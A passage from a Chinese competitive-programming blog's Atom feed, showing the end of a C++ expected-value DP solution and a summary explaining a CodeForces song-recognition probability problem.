t[i]] * lst * p[i];</span><br><span class="line"> f[i][j] += f[i - <span class="number">1</span>][j - t[i]] * lst;</span><br><span class="line"> }</span><br><span class="line"> f[i][j] += sum;</span><br><span class="line"> ans += f[i][j];</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"%.9lf"</span>, ans);</span><br><span class="line">}</span><br></pre></td></tr></table></figure>]]></content>
<summary type="html"><p>作为一道英文题先解释一下题意。</p>
<p>用 $T$ 秒时间按顺序听 $N$ 首歌,第 $i$ 首歌播放时间为 $t_i$ 秒,且每播放一秒都会有 $p_i$ 的概率被识别出来,跳到下一首。某首歌播放时间过完默认被识别,也跳到下一首。若时间有剩余而歌已全部听完则直接结束。求识别出歌数量的期望。</p>
<p>看见题目就想到期望DP。</p>
<p>第一眼想到的方程是设 $f_{i,j}$ 表示第 $i$ 秒识别到第 $j$ 首歌的期望,不难想出一个 $O(n^3)$ 的算法。</p>
<p>枚举一个 $k$ 表示第 $j$ 首歌已经放了几秒,注意一下边界即可。</p></summary>
<category term="OI" scheme="https://sxyugao.top/categories/OI/"/>
<category term="CodeForces" scheme="https://sxyugao.top/categories/OI/CodeForces/"/>
<category term="DP" scheme="https://sxyugao.top/tags/DP/"/>
<category term="概率期望" scheme="https://sxyugao.top/tags/%E6%A6%82%E7%8E%87%E6%9C%9F%E6%9C%9B/"/>
</entry>
</feed>